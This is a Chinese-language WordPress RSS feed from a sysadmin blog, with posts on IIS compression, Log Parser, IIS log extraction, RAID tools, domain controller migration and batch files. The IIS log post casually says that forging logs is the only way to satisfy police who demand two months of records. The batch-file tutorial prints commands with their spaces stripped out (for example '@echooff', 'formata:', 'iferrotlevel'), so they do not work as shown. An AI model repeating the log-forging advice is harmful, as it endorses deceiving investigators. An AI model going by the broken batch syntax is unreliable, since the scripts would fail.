<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无色无味(杨波) 的Web Log(博客) &#187; Microsoft</title>
	<atom:link href="http://blog.ghitr.com/index.php/archives/category/microsoft/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ghitr.com</link>
	<description>杨波,ccna,h3cse-security/Email:yangbo@ghitr.com</description>
	<lastBuildDate>Thu, 29 Jul 2010 04:16:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>IIS上启用GZIP压缩(HTTP压缩)_For 动态页面。</title>
		<link>http://blog.ghitr.com/index.php/archives/731</link>
		<comments>http://blog.ghitr.com/index.php/archives/731#comments</comments>
		<pubDate>Tue, 30 Mar 2010 03:08:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[blog.ghitr.com]]></category>
		<category><![CDATA[GZIP]]></category>
		<category><![CDATA[Gzip 动态文件压缩]]></category>
		<category><![CDATA[Gzip 压缩 实际操作]]></category>
		<category><![CDATA[Http]]></category>
		<category><![CDATA[Http压缩]]></category>
		<category><![CDATA[iis]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/index.php/archives/731</guid>
		<description><![CDATA[前期操作同上一篇日志，这儿主要记录一下关于动态文件压缩时的一些特别操作：
&#160;
&#160;
Setup1:启用动态文件压缩。
&#160;
 



 
&#160;
这为没有启用压缩前的动态页面。
 
&#160;
动态文件压缩直接启用后还不行，还需要修改一下Metabase.xml。该文件位于C:\windows\system32\inetsrv\目录下面。修改之前一定要记得备份。
其实只需要修改&#160; IIsCompressionScheme&#160;&#160;&#160; Location =&#34;/LM/W3SVC/Filters/Compression/gzip 这一列下面的就OK了。
分别在这两个列下面添加你需要压缩的静态文件后缀名和动态文件后缀名。
HcFileExtensions=
HcScriptFileExtensions
下面是我修改的地方：
&#160;

&#60;IIsCompressionScheme    Location ="/LM/W3SVC/Filters/Compression/gzip"
        HcCompressionDll="%windir%\system32\inetsrv\gzip.dll"
        HcCreateFlags="1"
        HcDoDynamicCompression="TRUE"
        HcDoOnDemandCompression="TRUE"
        HcDoStaticCompression="TRUE"
   [...]]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/731/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS上启用Gzip压缩(HTTP压缩) 详解操作说明</title>
		<link>http://blog.ghitr.com/index.php/archives/726</link>
		<comments>http://blog.ghitr.com/index.php/archives/726#comments</comments>
		<pubDate>Tue, 30 Mar 2010 02:38:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[2003]]></category>
		<category><![CDATA[blog.ghitr.com]]></category>
		<category><![CDATA[GZIP]]></category>
		<category><![CDATA[Gzip 压缩 实际操作]]></category>
		<category><![CDATA[Http]]></category>
		<category><![CDATA[Http压缩]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[www.5hml.com.]]></category>
		<category><![CDATA[压缩]]></category>
		<category><![CDATA[图文说明]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/index.php/archives/726</guid>
		<description><![CDATA[今天突然想起，我的Server还没有启用HTTP压缩。于是用站长工具一查。哇赛吓我一大跳。 
原始文件太大了。看来在中国这个互联网国情来说，是很有必要压缩一下的了。
&#160;
说干就干，行动。
&#160;
第一步：
添加WEB服务扩展。



&#160;
 
扩展名这个可以自定义，我在这儿为了便于区分当然还是写GZIP了哟。
 
&#160;
第二步：
&#160;&#160;&#160; 我们已经启了这个扩展。那么肯定要使用它了， 那么怎样才能让GZIP工作于IIS呢。这一步就很重要了。
&#160;
I在IIS的网站&#8211;服务标签页，启用HTTP压缩。（记住，不是单一的网站，是IIS服务器的网站。
&#160;
 
）
 
&#160;
这儿的文件夹大小根据你的实际情况调整。如果你的网站访问量大的话，可以设大一点，以避免硬盘的无修止的工作。
&#160;
&#160;&#160;&#160; 这是压缩后的对比。&#160;&#160; 看，文件大小被压缩掉了68%。&#160;&#160; 在这个南北网络互通还不通畅的今天，是很有必要的。
&#160;


]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/726/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyDrive Explorer 发布，可挂载SkyDrive到计算机</title>
		<link>http://blog.ghitr.com/index.php/archives/618</link>
		<comments>http://blog.ghitr.com/index.php/archives/618#comments</comments>
		<pubDate>Mon, 28 Dec 2009 03:49:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[电脑网络]]></category>
		<category><![CDATA[skydrive]]></category>
		<category><![CDATA[挂载本地]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/index.php/archives/618</guid>
		<description><![CDATA[SkyDrive是微软的25GB免费云存储服务，和GMail一样，今天它也有了Windows Explorer的挂在工具，这款名叫SkyDrive Explorer的免费工具可以让你像处理本地硬盘一样访问SkyDrive，可惜目前还有限制，不能通过拖拽的模式向云里传送文件，也不能直接双击打开文件。   http://skydriveexplorer.com/download/SkyDriveExplorer1.4.exe

]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/618/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Log Parser 2.2 如何运作</title>
		<link>http://blog.ghitr.com/index.php/archives/505</link>
		<comments>http://blog.ghitr.com/index.php/archives/505#comments</comments>
		<pubDate>Thu, 20 Aug 2009 02:21:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=505</guid>
		<description><![CDATA[全球GOOGLE地址：http://google.ghitr.com/blog/microsoft/log-parser-2-2-ru-he-yun-zuo
 
作者：
Gabriele Giuseppini 
（Microsoft Corporation 的软件开发测试工程师）
审稿人
Jeffrey A. Johnson（Microsoft Corporation 的软件开发测试工程师）
本页内容




简介



Log Parser 如何运作？



搜索数据



将日志导出到 SQL 数据库



创建报表



总结



更多信息




[ad#ad_article_1]

简介
近几年，我有许多次被问到“Log Parser 有何用处？”这一问题。每次，我都感到很难找到适当的语言来描述这个工具。每当我找到了一句话来进行描述的时侯，随后都会发现这句话遗漏了一些重要的内容，无法真正表达出该工具的灵活性。当然，这可能是由于开发人员的偏执造成的，不过我对自己的回答，从来没有感到满意过。
我不会告诉您，Log Parser“能做”什么。您 能用它来做什么，才是关键。我有很多次都对 Log Parser 的一些特殊应用感到很吃惊，我原以为它们是不可能实现的。我将告诉您它是 如何 运作的，希望这能让您懂得能用它来做什么，而且我会向您介绍该工具的三种最常见的应用方案。我敢肯定，您也会对 Log Parser 的新用途感到吃惊的。
历史点滴
在我们介绍 Log Parser 的内部原理之前，您可能想了解一下该工具的历史背景。2.0 版是 Microsoft 对外发布的第一个版本。Log Parser 1.0 是 Microsoft 的内部测试工具，几年前由本人开发而成，用于实现 IIS 日志记录功能的自动化测试。由于这个工具吸引了许多内部用户，因此本人于 2001 年 11 月推出了 2.0 版，并在 Internet 上提供了免费下载。
不久后，2.1 版随 IIS 6.0 资源工具包一同发布。该工具包包含有对 SQL 引擎功能的重要更新。
最后，2.2 版（目前的版本）于 2005 年 [...]]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/505/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS日志管理：从二进制(ibl)中分离日志</title>
		<link>http://blog.ghitr.com/index.php/archives/502</link>
		<comments>http://blog.ghitr.com/index.php/archives/502#comments</comments>
		<pubDate>Thu, 20 Aug 2009 02:14:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[ibl]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[二进制文件]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=502</guid>
		<description><![CDATA[ http://google.ghitr.com/microsoft/iis-ri-zhi-guan-li-cong-er-jin-zhi-ibl-zhong-fen-li-ri-zhi
 
IIS 6.0还拥有一种称为二进制日志的功能，启用这个功能后，IIS 6.0将把Web网站的所有日志信息写入一个二进制格式的日志文件，日志文件的扩展名是.ibl。要启用二进制日志功能，只要把配置文件的 W3SVCC/CentralBinaryLoggingEnabled条目设置成ture（1）即可。对于ISP来说，这个功能应该非常有用。ISP的 每台机器上可能有1000甚至更多的Web网站，如果每个Web网站每天生成一个日志文件，日志文件的总数很快会达到一个天文数字。微软最近发布的Log Parser 2.0工具能够读取二进制日志文件并生成报告，这个工具可以从http: //download.microsoft.com/download/iis50/utility/2.0/nt5xp/en-us/setup.exe 下载。Log Parser 2.0还能够读取前面介绍的httperr.log文件并生成报告。
先下载Log Parser 2.0,然后进入CMD命令行模式下,再进入软件的安装目录,就是logparser.exe所在的目录,然后执行以下命令提取日志!
Log Parser 2.0的详细使用方法和说明请查看http://blog.atimg.com/article/1035.htm
以下命令是提取站点ID为742的网站的日志到aaa.txt文件里!
logparser &#8220;select * into aaa.txt from *.ibl where siteid=742&#8243;
ＰＳ：因为星外的日志默认只保留两天，但是如果你服务器被网监或公安查封你去协调解封时他们会要求你提供至少两个月的网站日志出来，这时所有的广大星外虚拟主机系统的用户就开始头大了，因为你已经没办法提取超过两天的日志了，这时候你除了伪造日志来应付公安再没有别的办法了，你想有更多的日志只能关闭星外的日志功能了，关闭方法如下：
青云 09:42:16
不用你们的日志管理用IIS本身的日志管理怎么设置？
IT力量 2 09:43:31
如果您已使用了星外的主机系统,由于默认地它是合并日志格式,
可以这样解决,
先运行cmd,然后运行:
CD C:\Inetpub\AdminScripts\
进入这个目录,
再运行:
cscript.exe adsutil.vbs SET W3SVC/CentralBinaryLoggingEnabled false
然后重启IIS
这样设置后流量功能将无效.
如果以后要恢复到合并日志格式,可以在
开始&#8212;7i24虚拟主机受控端&#8212;-修改共享密码,就会恢复到合并状态
青云 09:44:49
这样设置后你们的系统除日志外还能正常运行不能？
IT力量 2 09:44:59
正常.

]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/502/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>为你的adaptec 安装UI管理界面！</title>
		<link>http://blog.ghitr.com/index.php/archives/465</link>
		<comments>http://blog.ghitr.com/index.php/archives/465#comments</comments>
		<pubDate>Tue, 21 Jul 2009 03:38:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[日记]]></category>
		<category><![CDATA[电脑网络]]></category>
		<category><![CDATA[adaptec]]></category>
		<category><![CDATA[raid]]></category>
		<category><![CDATA[storage manager]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=465</guid>
		<description><![CDATA[           现在很多的服务器都是采用的adaptec 芯片的RAID控制器！在安装的时候，我们都已经做好了RAID设置，可以服务器上线运行后，我们不可能关机进RAID的控制界面去检查硬盘是否离线之类的！ 所以我们需要一个在线的操作程序！
 
 
        偶尔在网上搜索到adaptec storage Manager！ adaptec存储设备管理软件！！！ 这软件真是个好东西！！
 
        它几乎支持全系统操作系统。像windows,linux,unix,
5.1 All
5.2 Windows &#8211; All
5.3 Windows 2000
5.4 Linux
5.5 SCO OpenServer
5.6 Open Unix and UnixWare
5.7 NetWare
[ad#ad_article_1]

下载地址：http://blog.ghitr.com/blog_downfile/adaptec_sm212922.exe
 
软件登录界面：（使用系统的帐号登录）

登录成功后，可以看到当前的RAID信息， 从此图上可以看出 是SATA硬盘做的RAID！

RAID信息：


在右边的Logical devices（逻辑驱动器）上右键，看属性，可以看到此逻辑驱动器为RAID1.以及数据空间大小，相对空间！
其它操作就自己看程序自带的HELP文件了！
不要轻易的Clear和delete逻辑驱动器哟！！！！！！！

--------------------------------------------------------------------
README.TXT

Adaptec Storage Manager
as of December 3, 2004
--------------------------------------------------------------------
Please review this file for important information about issues
and erratas that were discovered after completion of the standard
product documentation. In the case of conflict [...]]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/465/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>从2003向2008迁移域控</title>
		<link>http://blog.ghitr.com/index.php/archives/396</link>
		<comments>http://blog.ghitr.com/index.php/archives/396#comments</comments>
		<pubDate>Sat, 18 Jul 2009 16:16:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[个人案例简汇]]></category>
		<category><![CDATA[ad]]></category>
		<category><![CDATA[windows2003]]></category>
		<category><![CDATA[windows2008]]></category>
		<category><![CDATA[域控]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=396</guid>
		<description><![CDATA[
 要想把2008加入到2003，首先得练 易精经！！

我决定把原来的实验系统全部推了重来。
SO：首先将ghitr-2003ee升级为域控，在长级的过程中系统会自动添加DNS服务，并配置之.
C:\&#62;netdom query dc
List of domain controllers with accounts in the domain:
GHITR-2003EE
The command completed successfully.
C:\&#62;netdom query fsmo
Schema owner                ghitr-2003ee.ghitr.com
Domain role owner           ghitr-2003ee.ghitr.com
PDC role                    ghitr-2003ee.ghitr.com
RID pool manager            ghitr-2003ee.ghitr.com
Infrastructure owner        ghitr-2003ee.ghitr.com
The command completed successfully.
C:\&#62;
 可以看到DC已经安装成功。
gpupdate /force
2.将XP加入域。
3.武功秘籍！易精经！！！！！！拓宽2003纯种域的筋络！！
明白继续写！   先看电影 
拓宽的筋络的办法：使用adprep.exe！！
   3.1 Adprep /forestprep
   3.2 adprep /rodcprep 
                    拓展 schema,需要企业管理员权限
   3.3 adprep /domainprep /gpprep
                    拓展域，需要domain admins权限！
然后在2008里添加副域控！
睡觉！！！！！！！！
http://technet.microsoft.com/en-us/library/cc731053(WS.10).aspx
http://technet.microsoft.com/en-us/library/cc753437(WS.10).aspx
我就懒得给一张一张的图写注释了：自己注意看，主要的东西上面已经写出来了！


]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/396/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>windows server 2003 域控转移</title>
		<link>http://blog.ghitr.com/index.php/archives/376</link>
		<comments>http://blog.ghitr.com/index.php/archives/376#comments</comments>
		<pubDate>Wed, 15 Jul 2009 18:34:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[个人案例简汇]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=376</guid>
		<description><![CDATA[今天下班回家后，突然接公司老大电话说，有一客户要求将2003DC迁移到2008上面。
为了给予客户准确的回答，我立马驱猫上网，下载最新的2008以来做实验。  可是这该死的ADSL速度慢得像&#8230;&#8230;.
所以就只有用两台2003企业版的虚拟机来模拟客户DC，用一台XP来模拟客户处的用户端。
                 DC&#8212;-DC(NEW)
                  &#124;
               XP
 
DC：1.1.1.1
DC（NEW):1.1.1.2
XP1：1.1.1.10
 
    首先在DC上面安装域控，并新建两用户，一个computer，一个xp。computer加入企业管理组。用来执行加入、退出域操作。xp用户用来在客户端登录。。。。
    一切正常中。。。。  DC顺利安装成功，XP也顺利的登录进域了。
 
    开始将另一台DC(new)以辅助域控的身份加入到原域中。当  提示RPC服务不可用..  检查相关服务，丫的，RPC服务正常呢！难道是DNS有错？  PING ghitr.org能够正常解析到DC的IP上呀！！！   突然想起看网卡的协议，一看郁闷我了!原来在安装的时候我偷了一个懒，只勾选了tcp/ip协议。当然导致不能解析Netbois协议了哟&#8230;.  添加协议。安装辅助域控！还是报错！！！  没时间了，只有先以普通身份加入到域中，再行安装辅助域控。这一次成功了！
第二步：(netdom是一个很有意思的命令，EX：netdom query fsmo)
    开始迁移域控。（在主控上面操作）

 [ad#ad_article_2]
  1.注册schmmgme.dll组件
  2.打开一个MMC控制窗口，添加AD架构。如下图：

3.打开架构。先连接到另一台辅助DC后，再更换操作主机。
4.打开AD用户和计算机，&#8211;右键AD用户和计算机&#8211; 先连接到辅助DC，&#8211;所有任务，-操作主机，   更改。！  三个选项卡都要更改。 这儿就把RID/PDC/结构主机，3个都更改完成了！
5.更改domain role owner！active directory域和信任关系-&#62;同样的要先连接到辅助DC。&#8211;》右键-&#62;操作主机　看到了吧，点更改，一切OK.
 
OK，DC的5大要素都已经更改到另一台DC上面了！

 
现在就可以移除原DC了!
让客户端登录吧！  如果DC中的数据比较多，就需要多等一段时间才能移除原DC。！

放两个资料的链接在这儿吧，以备后用。
1：FSMO解释:http://bbs.winos.cn/viewthread.php?tid=1527&#38;extra=&#38;highlight=fsmo&#38;page=1
2：一网友的迁移记录：http://www.xici.net/b885043/d69437686.htm

]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/376/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>微软官方XP_Profressional_with_SP3(EN)版下载</title>
		<link>http://blog.ghitr.com/index.php/archives/253</link>
		<comments>http://blog.ghitr.com/index.php/archives/253#comments</comments>
		<pubDate>Thu, 11 Jun 2009 10:10:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[Profession]]></category>
		<category><![CDATA[X86]]></category>
		<category><![CDATA[xp]]></category>
		<category><![CDATA[xp3]]></category>
		<category><![CDATA[XP下载]]></category>
		<category><![CDATA[微软]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/?p=253</guid>
		<description><![CDATA[[ad#ad_article_1]
http://download.microsoft.com/download/8/c/0/8c0578b6-50dc-4fe5-b270-d34c9b6e1791/EN_Windows_XP_Professional_with_SP3_x86_CD.sdc

]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/253/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>什么是批处理文件</title>
		<link>http://blog.ghitr.com/index.php/archives/38</link>
		<comments>http://blog.ghitr.com/index.php/archives/38#comments</comments>
		<pubDate>Wed, 04 Mar 2009 20:27:00 +0000</pubDate>
		<dc:creator>Yangybcy</dc:creator>
				<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://blog.ghitr.com/wordpress/?p=38</guid>
		<description><![CDATA[&#160;
　　批处理文件，在MS-DOS中，.bat文件是可执行文件，有一系列命令构成，其中可以包含对其他程序的调用。
　　首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
　　其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。
　　第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\\batch，你就可以在任意位置运行所有你编写的批处理程序。
　　第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows98下的autoexec.bat的示例：
　　@ECHOOFF
　　PATHC:\\WINDOWS;C:\\WINDOWS\\COMMAND;C:\\UCDOS;C:\\DOSTools;C:\\SYSTOOLS;C:\\WINTOOLS;C:\\BATCH
　　LHSMARTDRV.EXE/X
　　LHDOSKEY.COM/Insert
　　LHCTMOUSE.EXE
　　SETTEMP=D:\\TEMP
　　SETTMP=D:\\TEMP
　　批处理的作用
　　简单的说，批处理的作用就是自动的连续执行多条命令。
　　这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（&#62;前面内容表示DOS提示符）：
　　C:\\&#62;cdwps
　　C:\\WPS&#62;spdos
　　C:\\WPS&#62;py
　　C:\\WPS&#62;wbx
　　C:\\WPS&#62;wps
　　如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？
　　好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：
　　@echooff
　　c:
　　cd\\wps
　　spdos
　　py
　　wbx
　　wps
　　cd\\
　　以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。
　　常用命令
　　echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。
　　echo表示显示此命令后的字符
　　echooff表示在此语句后所有运行的命令都不显示命令行本身
　　@与echooff相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
　　call调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
　　pause运行此句会暂停批处理的执行并在屏幕上显示Pressanykeytocontinue&#8230;的提示，等待用户按任意键后继续
　　rem表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。
　　例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入a.txt中，启动UCDOS，进入WPS等功能。
　　批处理文件的内容为:命令注释：
　　@echooff不显示后续命令行及当前命令行
　　dirc:\\*.*&#62;a.txt将c盘文件列表写入a.txt
　　callc:\\ucdos\\ucdos.bat调用ucdos
　　echo你好显示\&#38;#34;你好\&#38;#34;
　　pause暂停,等待按键继续
　　rem准备运行wps注释：准备运行wps
　　cducdos进入ucdos目录
　　wps运行wps
　　批处理文件的参数
　　批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符&#8220;%&#8221;。
　　%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。
　　例2：C:根目录下有一批处理文件名为f.bat，内容为：
　　@echooff
　　format%1
　　如果执行C:\\&#62;fa:
　　那么在执行f.bat时，%1就表示a:，这样format%1就相当于formata:，于是上面的命令运行时实际执行的是formata:
　　例3：C:根目录下一批处理文件名为t.bat，内容为:
　　@echooff
　　type%1
　　type%2
　　那么运行C:\\&#62;ta.txtb.txt
　　%1:表示a.txt
　　%2:表示b.txt
　　于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
　　特殊命令
　　ifgotochoicefor是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。
　　一、if是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:
　　1、if[not]\&#38;#34;参数\&#38;#34;==\&#38;#34;字符串\&#38;#34;待执行的命令
　　参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。
　　例：if\&#38;#34;%1\&#38;#34;==\&#38;#34;a\&#38;#34;formata:
　　2、if[not]exist[路径\\]文件名待执行的命令
　　如果有指定的文件，则条件成立，运行命令，否则运行下一句。
　　如:ifexistc:\\config.systypec:\\config.sys
　　表示如果存在c:\\config.sys文件，则显示它的内容。
　　3、iferrorlevel待执行的命令
　　很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过iferrorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。
　　如iferrorlevel2gotox2
　　二、goto批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。
　　如:
　　gotoend
　　:end
　　echothisistheend
　　标号用&#8220;:字符串&#8221;来定义，标号所在行不被执行。
　　三、choice使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于iferrorlevel配合，根据用户的选择运行不同的命令。
　　注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice/?查看用法。
　　choice的命令语法（该语法为Windows2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：
　　CHOICE[/Cchoices][/N][/CS][/Ttimeout/Dchoice][/Mtext]
　　描述:
　　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
　　参数列表:
　　/Cchoices指定要创建的选项列表。默认列表是\&#38;#34;YN\&#38;#34;。
　　/N在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。
　　/CS允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。
　　/Ttimeout做出默认选择之前，暂停的秒数。可接受的值是从0到9999。如果指定了0，就不会有暂停，默认选项
　　会得到选择。
　　/Dchoice在nnnn秒之后指定默认选项。字符必须在用/C选项指定的一组选择中;同时，必须用/T指定nnnn。
　　/Mtext指定提示之前要显示的消息。如果没有指定，工具只显示提示。
　　/?显示帮助消息。
　　注意:
　　ERRORLEVEL环境变量被设置为从选择集选择的键索引。列出的第一个选择返回1，第二个选择返回2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回255的ERRORLEVEL值。如果用户按Ctrl+Break或Ctrl+C键，该工具会返回0的ERRORLEVEL值。在一个批程序中使用ERRORLEVEL参数时，将参数降序排列。
　　示例:
　　CHOICE/?
　　CHOICE/CYNC/M\&#38;#34;确认请按Y，否请按N，或者取消请按C。\&#38;#34;
　　CHOICE/T10/Cync/CS/Dy
　　CHOICE/Cab/M\&#38;#34;选项1请选择a，选项2请选择b。\&#38;#34;
　　CHOICE/Cab/N/M\&#38;#34;选项1请选择a，选项2请选择b。\&#38;#34;
　　如果我运行命令：CHOICE/CYNC/M\&#38;#34;确认请按Y，否请按N，或者取消请按C。\&#38;#34;
　　屏幕上会显示：
　　确认请按Y，否请按N，或者取消请按C。[Y,N,C]?
　　例：test.bat的内容如下（注意，用iferrorlevel判断返回值时，要按返回值从高到低排列）:
　　@echooff
　　choice/Cdme/M\&#38;#34;defrag,mem,end\&#38;#34;
　　iferrorlevel3gotoend
　　iferrorlevel2gotomem
　　iferrotlevel1gotodefrag
　　:defrag
　　c:\\dos\\defrag
　　gotoend
　　:mem
　　mem
　　gotoend
　　:end
　　echogoodbye
　　此批处理运行后，将显示&#8220;defrag,mem,end[D,M,E]?&#8221;，用户可选择dme，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以gotoend将程序跳到end标号处，然后程序将显示goodbye，批处理运行结束。
　　四、for循环命令，只要条件符合，它将多次执行同一命令。
　　语法：
　　对一组文件中的每一个文件执行某个特定命令。
　　FOR%%variableIN(set)DOcommand[command-parameters]
　　%%variable指定一个单一字母可替换的参数。
　　(set)指定一个或一组文件。可以使用通配符。
　　command指定对每个文件执行的命令。
　　command-parameters为特定命令指定参数或命令行开关。
　　例如一个批处理文件中有一行:
　　for%%cin(*.bat*.txt)dotype%%c
　　则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
　　批处理示例
　　1.IF-EXIST
　　1)
　　首先用记事本在C:\\建立一个test1.bat批处理文件，文件内容如下：
　　@echooff
　　IFEXIST\\AUTOEXEC.BATTYPE\\AUTOEXEC.BAT
　　IFNOTEXIST\\AUTOEXEC.BATECHO\\AUTOEXEC.BATdoesnotexist
　　然后运行它：
　　C:\\&#62;TEST1.BAT
　　如果C:\\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。
　　2)
　　接着再建立一个test2.bat文件，内容如下：
　　@ECHOOFF
　　IFEXIST\\%1TYPE\\%1
　　IFNOTEXIST\\%1ECHO\\%1doesnotexist
　　执行:
　　C:\\&#62;TEST2AUTOEXEC.BAT
　　该命令运行结果同上。
　　说明：
　　(1)IFEXIST是用来测试文件是否存在的，格式为
　　IFEXIST[路径+文件名]命令
　　(2)test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身)，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。
　　3)更进一步的，建立一个名为TEST3.BAT的文件，内容如下：
　　@echooff
　　IF\&#38;#34;%1\&#38;#34;==\&#38;#34;A\&#38;#34;ECHOXIAO
　　IF\&#38;#34;%2\&#38;#34;==\&#38;#34;B\&#38;#34;ECHOTIAN
　　IF\&#38;#34;%3\&#38;#34;==\&#38;#34;C\&#38;#34;ECHOXIN
　　如果运行：
　　C:\\&#62;TEST3ABC
　　屏幕上会显示:
　　XIAO
　　TIAN
　　XIN
　　如果运行：
　　C:\\&#62;TEST3AB
　　屏幕上会显示
　　XIAO
　　TIAN
　　在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。
　　2、IF-ERRORLEVEL
　　建立TEST4.BAT，内容如下：
　　@ECHOOFF
　　XCOPYC:\\AUTOEXEC.BATD:IFERRORLEVEL1ECHO文件拷贝失败
